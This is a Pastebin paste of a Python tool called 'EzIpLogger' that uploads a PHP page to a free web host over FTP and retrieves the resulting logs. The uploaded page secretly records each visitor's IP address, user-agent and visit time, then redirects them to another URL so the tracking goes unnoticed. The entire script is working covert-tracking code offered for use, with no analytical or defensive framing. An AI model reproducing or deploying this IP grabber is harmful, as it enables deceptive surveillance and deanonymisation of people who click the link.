Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/python
- #-- coding: utf8 --
- #Created by LimerBoy
- import ftplib
- import configparser
- from os import system as cmd
- from os import startfile as start
- from os import remove as remove
- #Settings
- cmd('cls')
- cmd('title EzIpLogger')
- cmd('color f')
- try: remove('logs.txt')
- except: pass
- try: remove('logger.php')
- except: pass
- #Try open config.ini
- try:
- cfg_file='config.ini'
- config = configparser.ConfigParser()
- config.read(cfg_file)
- except:
- print('[x] - Error config.ini corrupted!')
- input('Press enter')
- raise SystemExit
- host = config.get("HOST", "host")
- user = config.get("HOST", "user")
- password = config.get("HOST", "pass")
- port = config.get("HOST", "port")
- try: session = ftplib.FTP(host, user, password, port)
- except:
- print('[x] - Error ftp information not correct!\n Change config.ini configuration')
- input('Press enter')
- raise SystemExit
- print('[1] - Download logs')
- print('[2] - Upload logger')
- print('[3] - Information')
- print('[4] - Exit')
- command = str(input('<COMMAND> : '))
- #Download logs
- if command == "1":
- session.cwd('public_html')
- try:
- with open("logs.txt", 'wb') as f:
- session.retrbinary('RETR ' + 'logs.txt', f.write)
- except:
- print('[x] - logs not found!')
- input('Press enter')
- raise SystemExit
- else: print('[+] - logs.txt saved!')
- start('logs.txt')
- input('Press enter')
- raise SystemExit
- #Upload logger
- elif command == "2":
- redirect_url = str(input('Enter redirect url : https://'))
- logger_code = ('''
- <!DOCTYPE html>
- <html>
- <head>
- <title>Site</title>
- <meta charset = "utf-8" />
- </head>
- <body>
- <?php
- #Get IP
- $line = '[==============================================]';
- $client = @$_SERVER['HTTP_CLIENT_IP'];
- $forward = @$_SERVER['HTTP_X_FORWARDED_FOR'];
- $remote = @$_SERVER['REMOTE_ADDR'];
- if(filter_var($client, FILTER_VALIDATE_IP)) $ip = $client;
- elseif(filter_var($forward, FILTER_VALIDATE_IP)) $ip = $forward;
- else $ip = $remote;
- #Get user-agent
- $uagent = $_SERVER["HTTP_USER_AGENT"];
- #Get time
- $time = date('Y-m-d H:i:s');
- #Write data to file logs.txt
- file_put_contents('./logs.txt', PHP_EOL . "\\n\\n $line \\n time: [$time] \\n IP: $ip \\n User-agent: $uagent \\n $line \\n\\n ", FILE_APPEND);
- ?>
- <script type="text/javascript">
- window.location = "https://'''+redirect_url+'''"
- </script>
- </body>
- </html>
- ''')
- f=open('logger.php', 'w')
- f.write(logger_code)
- f.close()
- try:
- session.cwd('public_html')
- with open("logger.php", 'rb') as f:
- session.storbinary('STOR ' + "index.php", f, 1024)
- except:
- print('[x] - Error while loading script to host')
- input('Press enter')
- raise SystemExit
- else:
- print('[+] - All is okay\n URL: https://'+user+".000webhostapp.com")
- clip = 'echo | set /p nul='+'https://'+user+'.000webhostapp.com'+'| clip'
- cmd(clip)
- input('Press enter')
- raise SystemExit
- elif command == "3":
- info=('''
- # Created by LimerBoy
- # vk.com : https://qps.ru/BTZnN
- # github : https://qps.ru/e5Aqb
- # YouTube : https://qps.ru/9mO2K
- ''')
- print(info)
- input('Press enter')
- raise SystemExit
- elif command == "4":
- raise SystemExit
- else:
- print('[x] - command '+command+' not found!')
- input('Press enter')
- raise SystemExit
- ### Created by LimerBoy ###
- # vk.com : https://qps.ru/BTZnN
- # github : https://qps.ru/e5Aqb
- # YouTube : https://qps.ru/9mO2K
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement